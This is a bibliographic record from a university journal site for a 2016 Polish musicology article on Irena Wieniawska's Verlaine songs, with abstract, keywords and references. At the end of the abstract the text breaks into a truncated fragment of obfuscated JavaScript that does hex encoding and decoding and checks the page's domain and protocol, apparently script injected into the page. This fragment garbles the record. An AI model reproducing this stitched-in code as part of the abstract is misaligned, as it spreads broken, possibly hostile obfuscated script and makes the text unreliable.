Pieśni Ireny Wieniawskiej do słów Paula Verlaine'a

• Authors: Anna Al-Araj
• Languages of publication: PL

Abstracts

PL

 W niniejszym artykule podjęto próbę interpretacji 21 pieśni Ireny Wieniawskiej (powstałych w latach 1911-1927), wykorzystujących teksty Paula Verlaine’a. Kompozytorka (1879-1932), znana także jako Madame Poldowski czy Lady Dean Paul, była córką Henryka Wieniawskiego i Izabeli Hampton-Wieniawskiej. Żyła i pracowała w Belgii oraz Wielkiej Brytanii, odbyła także podróże koncertowe do Stanów Zjednoczonych i Hiszpanii. We Francji poznała dorobek impresjonistów (m.in. Maurice’a Ravela), co w znacznym stopniu ukształtowało jej idiom twórczy.            W pierwszej części tekstu analizie poddano warstwę słowną utworów Wieniawskiej: ich wymiar treściowy oraz konstrukcyjny. Kolejny fragment został poświęcony płaszczyźnie muzycznej – autorka charakteryzuje podstawowe elementy dzieła: melodykę, akompaniament, harmonikę, fakturę i formę. W trzeciej części artykułu, w oparciu o reguły (corollaries) wyznaczone przez Henry’ego Woolletta, interpretowane są relacje słowno-muzyczne w pieśniach Madame Poldowski. Przeprowadzone analizy skłaniają do przyjęcia hipotezy o związku wokalno-instrumentalnego dorobku Lady Dean Paul z gatunkiem francuskiej mélodie, na co wskazywałaby predylekcja kompozytorki do recytatywnego traktowania głosu solowego, sylabicznego opracowania tekstu, jak również tendencja do wykorzystywania różnorodnych, skomplikowanych rozwiązań w zakresie harmoniki i formy.  Wydaje się, że estetykę twórczości pieśniowej Wieniawskiej można włączyć w krąg symbolizmu, jej elementy zaś stanowią transpozycję wyróżników tego nurtu na grunt muzyczny.   // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.umcs.pl"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Keywords

PL

pieśń; Irena Wieniawska; Paul Verlaine; melodie; symbolizm muzyczny

• Publisher: Wydawnictwo Uniwersytetu Marii Curie-Skłodowskiej
• Journal: Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes
• Year: 2016
• Volume: 14
• Issue: 1

Dates

published

2016

online

2016-11-04

Contributors

author

Anna Al-Araj

References

• Biget-Mainfroy Michelle, La mélodie française: une identité difficile à conquérir, [w:] Muzyka i liryka 9. Pieśń europejska między romantyzmem a modernizmem, red. Mieczysław Tomaszewski, Kraków 2000, Wydawnictwo Akademii Muzycznej.
• Jarociński Stefan, Debussy a impresjonizm i symbolizm, Kraków 1976, Polskie Wydawnictwo Muzyczne.
• Klibansky Raymond, Panofsky Erwin, Saxl Fritz, Saturn i melancholia. Studia z historii, filozofii, przyrody, medycyny, religii oraz sztuki, tłum. Anna Kryczyńska, Kraków 2009, Universitas.
• Noske Frits, French Song from Berlioz to Duparc. The Origin and Development of the Mélodie, tłum. Rita Benton, New York 1970, Dover Publications.
• Tomaszewski Mieczysław, Od wyznania do wołania. Studia nad pieśnią romantyczną, Kraków 1997, Wydawnictwo Akademii Muzycznej.
• Verlaine Paul, Wybór poezji, oprac. Anna Drzewicka, Wrocław 1980, Zakład im. Ossolińskich.
• Inne materiały:
• Książeczka do płyty CD Poldowski – Mélodies, Musique en Wallonie MEW 0741, 2006.

Identifiers

DOI

10.17951/l.2016.14.1.91